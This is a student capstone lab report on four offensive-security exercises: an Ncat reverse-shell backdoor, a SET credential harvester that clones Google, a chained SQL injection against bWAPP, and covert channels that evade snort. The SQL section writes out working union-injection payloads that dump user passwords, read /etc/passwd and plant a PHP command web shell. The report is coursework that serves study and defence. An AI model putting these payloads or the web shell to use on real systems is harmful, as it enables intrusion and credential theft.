|  |
| --- |
|  |
| Capstone Experience IST 894  Carl Laneave |
| Lab 2 Report |

Table of Contents

[1.0 Introduction – Using Ncat as a Trojan 3](#_Toc145876475)

[1.1 Lab Results – Using Ncat as a Trojan 4](#_Toc145876476)

[1.2 Technical Review – Using Ncat as a Trojan 7](#_Toc145876477)

[2.0 Introduction – Credential Harvesting with SET 8](#_Toc145876478)

[2.1 Lab Results – Credential Harvesting with SET 9](#_Toc145876479)

[2.2 Technical Review – Credential Harvesting with SET 16](#_Toc145876480)

[3.0 Introduction – SQL Injection Chained Exploitation 17](#_Toc145876481)

[3.1 Lab Results – SQL Injection Chained Exploitation 18](#_Toc145876482)

[3.2 Technical Review – SQL Injection Chained Exploitation 26](#_Toc145876483)

[4.0 Introduction – Covert Channels/Evasion 27](#_Toc145876484)

[4.1 Lab Results – Covert Channels/Evasion 28](#_Toc145876485)

[4.2 Technical Review – Covert Channels/Evasion 34](#_Toc145876486)

[5.0 References: 35](#_Toc145876487)

[6.0 Activity Log 36](#_Toc145876488)

# Introduction – Using Ncat as a Trojan

During the execution of this lab, an evaluation was done to test the ability of using Ncat to create an open backdoor to our potential victim. In this attack, Metasploit is used to load a reverse TCP payload exploit. This exploit allows us to attack the victim and from this reverse shell, upload our malicious script. Once the malicious script is executed, Ncat can be used to open a listener port and with an escalated permissions user, such as root, to create a session allowing for a complete compromise of the instance.

# 1.1 Lab Results – Using Ncat as a Trojan

A screenshot of a computer program

Description automatically generated

Figure 1.0 – Start Metasploit on attackers’ console.

A computer screen with text on it

Description automatically generated

Figure 1.1 – Load a reverse TCP payload exploit to be used in our exploit.

A screenshot of a computer

Description automatically generated

Figure 1.2 - Set the remote host as skillsetlocal.com.

A screenshot of a computer

Description automatically generated

Figure 1.3 – Set the target URI for script for our vulnerability trojan script to execute.

A computer screen with white text and green text

Description automatically generated

Figure 1.4 – Run the setup exploit. After success, upload ncat to victim.

A computer screen with white text and numbers

Description automatically generated

Figure 1.5 – After execution of uploading ncat, start a shell session and switch to user root.

A black screen with white text

Description automatically generated

Figure 1.6 – Listen with ncat on port 999 for the shell session. Terminate channel after setting up listener.

A screen shot of a video game

Description automatically generated

Figure 1.7 – ncat into open port listener, we have successfully started a session with a reverse tcp and ncat as root.

# 1.2 Technical Review – Using Ncat as a Trojan

In this attack instance, the usage of multiple tools was introduced. Through the basic attack method of using Metasploit reverse shell exploits, the attack had the ability to then upload malicious scripts using pre-written shell scripts. This script allowed us to then use Ncat to create an open port listener, a trojan back door entrance, in which attackers can then use to create a reverse shell session. Once on this reverse shell back door entrance, attackers can then escalate and further compromise their target and network.

# 2.0 Introduction – Credential Harvesting with SET

In this attack, the focus is on using a man in the middle esq attack that emulates a real web domain as legit while feeding the data sent by the victim in plain text and unencrypted to the attacker. This attack relies on creating a legit landing zone of popular sites, such as google.com, so the victim trusts the site. On the other side, the attackers are creating a man-in-the-middle attack. From this attack, attackers can either lead the victim to more malicious domains or send their information to the actual site, leaving them unaware of the attack that just occurred.

# 2.1 Lab Results – Credential Harvesting with SET

A computer screen shot of a black and white screen

Description automatically generated

Figure 2.0 – Change the etc/hosts file to resolve home to google.com and google.com to home address.

A computer screen with white text

Description automatically generated

Figure 2.1 – Ping google.com to verify it is resolving the host of home (127.0.0.1)

A screenshot of a computer program

Description automatically generated

Figure 2.2 – Load the SET tool to prepare our social engineering attack.

A screenshot of a computer program

Description automatically generated

Figure 2.3 – Select a credential harvester attack method.

A screenshot of a computer program

Description automatically generated

Figure 2.4 – Select using a web template to use as our front for the credential harvester

A black background with white text

Description automatically generated

Figure 2.5 – Make our home address the post back to feed the harvester information too.

A screenshot of a computer

Description automatically generated

Figure 2.6 – Use google.com as our templated web front for our attack.

A screenshot of a computer

Description automatically generated

Figure 2.7 – Use the victims console to see that the google website loads identical to the actual google.com web ui.

A screen shot of a computer

Description automatically generated

Figure 2.8 – After the victim enters their information, all that data is sent in plaintext to our host where we can view the captured data with no encryption. Our credential social engineering tool has been successful.

# 2.2 Technical Review – Credential Harvesting with SET

In this attack, through the usage of SET attackers can create a resolution of a popular domain resolve to their own home address. Once the host files are properly configured, attackers then use predesigned templates of popular sites such as google to have the victim tricked into thinking they are on the actual google site. A more popular version of these types of social engineering is creating open Wi-Fi connections using a pineapple for example. Like a SET attack, the attackers act as a man in the middle intercepting the packets being sent over an insecure http connection. Once they get the information, attackers can either ignore the call or forward it to the actual site, allowing them to keep the victim confused and continue the attack as it looks like a legitimate call and response.

# 3.0 Introduction – SQL Injection Chained Exploitation

In this attack, an insecure php application is set up with a MySQL backend. Through the lack of controls and restrictions on what queries can be completed on the search, attackers can inject SQL statements to query the table. This bypass lets attackers send SQL commands directly to the database, exposing the ability to see data and other hidden information. The lack of checks in place to eliminate illegal chars or query lengths is the primary entry point for a possible SQL injection.

# 3.1 Lab Results – SQL Injection Chained Exploitation

A screenshot of a computer

Description automatically generated

Figure 3.0 – Load up the bWAPP web application to do our SQL testing against.

A screenshot of a computer program

Description automatically generated

Figure 3.1- Load attack SQL injection through REST API – Post/Search

A screenshot of a computer program

Description automatically generated

Figure 3.2 – Execution a basic SQL injection query using # and seeing the 7 columns.

A screenshot of a computer

Description automatically generated

Figure 3.3 – When changing from 7 to 8 columns, we see there is an order clause. This tells us there is only 7 columns in the database.

A screenshot of a computer

Description automatically generated

Figure 3.4 – Execute SQL injection [' union select 1,2,3,4,5,6,7#], we can see the creating a union between the 7 columns returned.

A computer screen shot of text

Description automatically generated

Figure 3.5 – Execute SQL injection [' and 1=2 union select 1,database(),3,4,5,6,7#], this creates a return of databases that are false based on union selection and 1=2 (false).

A computer screen shot of a black screen

Description automatically generated

Figure 3.6 – Execute SQL injection [' and 1=2 union select 1,table\_schema,table\_name,4,5,6,7 from information\_schema.tables where table\_schema = 'bWAPP'#], this returns the table names for the table schema bWAPP.

A computer screen shot of a computer

Description automatically generated

Figure 3.7 – Execute SQL injection [' and 1=2 union select 1,table\_name, column\_name,4,5,6,7 from information\_schema.columns where table\_schema = 'bWAPP' and table\_name = 'users'#] to return the column headers for the table users.

A computer screen shot of a computer program

Description automatically generated

Figure 3.8 – Execute SQL injection [' and 1=2 union select 1,login,password,4,5,6,7 from users#] to get an entire list of users and passwords from the user table.

A screenshot of a computer

Description automatically generated

Figure 3.9 – Execute SQL injection [' and 1=2 union select 1,load\_file('/etc/passwd'),3,4,5,6,7#], the etc/password file is loaded using cmd load files. From here we can chain together SQL injection [' and 1=2 union select "<?php system($\_REQUEST['cmd']); ?>",2,3,4,5,6,7 into outfile "/var/www/html/bWAPP/cmd.php"#] to save the information to cmd.php file

A screenshot of a computer

Description automatically generated

Figure 3.10 – Executing a call to the cmd php file shows the output data that we injected during our previous SQL attack.

# 3.2 Technical Review – SQL Injection Chained Exploitation

An exposed web application, directly PHP and SQL backends, allow attackers to attempt complex chain SQL injections. These chain injections are done to gather information on the schema of the databases as well as to capture sensitive data. Depending on the host of the web application, attackers can expand their attack into shell commands by using the PHP application as the ‘caller’. Since PHP applications have open permissions to the SQL back end as well as the host, attackers can use this as a front to execute malicious calls. Such as viewing sensitive files using cmd load files or injecting their own malicious code into the PHP files on the web server.

# 4.0 Introduction – Covert Channels/Evasion

Creating convert channels and evasion, attackers can use this to hide both their actions and create hidden messages between others. This type of covert action evasion is critical in understanding as it can be a primary way in which an attacker may attempt to cover their tracks. This is especially important when executing forensics on a compromised system and needing to see if any methods of evasion were executed or not by the said attacker.

# 4.1 Lab Results – Covert Channels/Evasion

A screenshot of a computer program

Description automatically generated

Figure 4.0 – Load mininet to use in our attack.

A screenshot of a computer screen

Description automatically generated

Figure 4.1 – Edit snort rules on watch for any system file access

A computer screen with white text

Description automatically generated

Figure 4.2 – Run snort command

A number on a black background

Description automatically generated

Figure 4.3 – Set up an ssl connection and listener on host 1 with port 999



Figure 4.4 – Setup a listener on host 2 on port 999

A screenshot of a computer screen

Description automatically generated

Figure 4.5 - Cat out /etc/passwd. Action is not picked up on host 2 and we have gone in covertly and not picked up by snort.

A screen shot of a computer

Description automatically generated

Figure 4.6 – Close down mininet on host 1.

A screen shot of a computer

Description automatically generated

Figure 4.7 – Setup tshark to listen for key words secret on port 10000.

A black screen with white text

Description automatically generated

Figure 4.8 – Run ncat listener on port 10000 on host 2.

A black screen with white text

Description automatically generated

Figure 4.9 – Run ncat on 10000 and send the message ‘secret message’.

A computer screen with white text

Description automatically generated

Figure 4.10 – Tshark captures the secret message sent both as well as host 2 with ncat captures it as well.

A black screen with white text

Description automatically generated

Figure 4.11- Create a tmp directory for received messages

A screen shot of a computer

Description automatically generated

Figure 4.12 – Run a convert tcp script on local host for ports 10000 and 20000 on anything /tmp/receive/file.txt

A screenshot of a computer

Description automatically generated

Figure 4.13 – Make the /tmp/send directory on on host 3.

A black background with white text

Description automatically generated

Figure 4.14 – Send the file.text message with the message secret message.

A screen shot of a computer

Description automatically generated

Figure 4.15 – The data is encoded then decoded to host two, who can see the sent message.

A screen shot of a computer screen

Description automatically generated\

Figure 4.16 – By using the covert tcp script and protecting said shared directory, host one did not capture the event and it went unseen.

# 4.2 Technical Review – Covert Channels/Evasion

The usage of covert channels and evasion are a critical path for any potential attacker. By understanding these types of evasion tactics, blue teams can build counter measures to avoid evasion. In this case, the usage of Tshark and snort rules were a vital part in tracking key words and listeners. The usage of ncat as well for building out listeners was critical in the usage with covert tcp scripts to hide on said ports. Having properly blocked port controls, advanced snort rulesets and avoidance of such attack methods as covert tcp will prevent potential attackers from hiding their points of attack.

# 5.0 References:

[1] Shiranthaka, S. (2023, May 17). Introduction to tshark. Medium. <https://infosecwriteups.com/introduction-to-tshark-b425fc86ef0d>

[2] NCAT users’ guide. Available at: <https://nmap.org/ncat/guide/index.html>

[3] Wikimedia Foundation. (2023, March 22). Snort (software). Wikipedia. https://en.wikipedia.org/wiki/Snort\_(software)

[4] Thecybersecurityman, Published by thecybersecurityman. (2018, March 1). Covert channels: How insiders abuse TCP/IP to create covert channels. The Cybersecurity Man. https://thecybersecurityman.com/2018/03/01/covert-channels-how-insiders-abuse-tcp-ip-to-create-covert-channels/

# 6.0 Activity Log

| **Member Name** | **Task Date** | **Task Details** |
| --- | --- | --- |
| Carl Laneave | 9/16/2023 | Created Template, executed all labs, took screenshots, and completed report |
|  |  |  |
|  |  |  |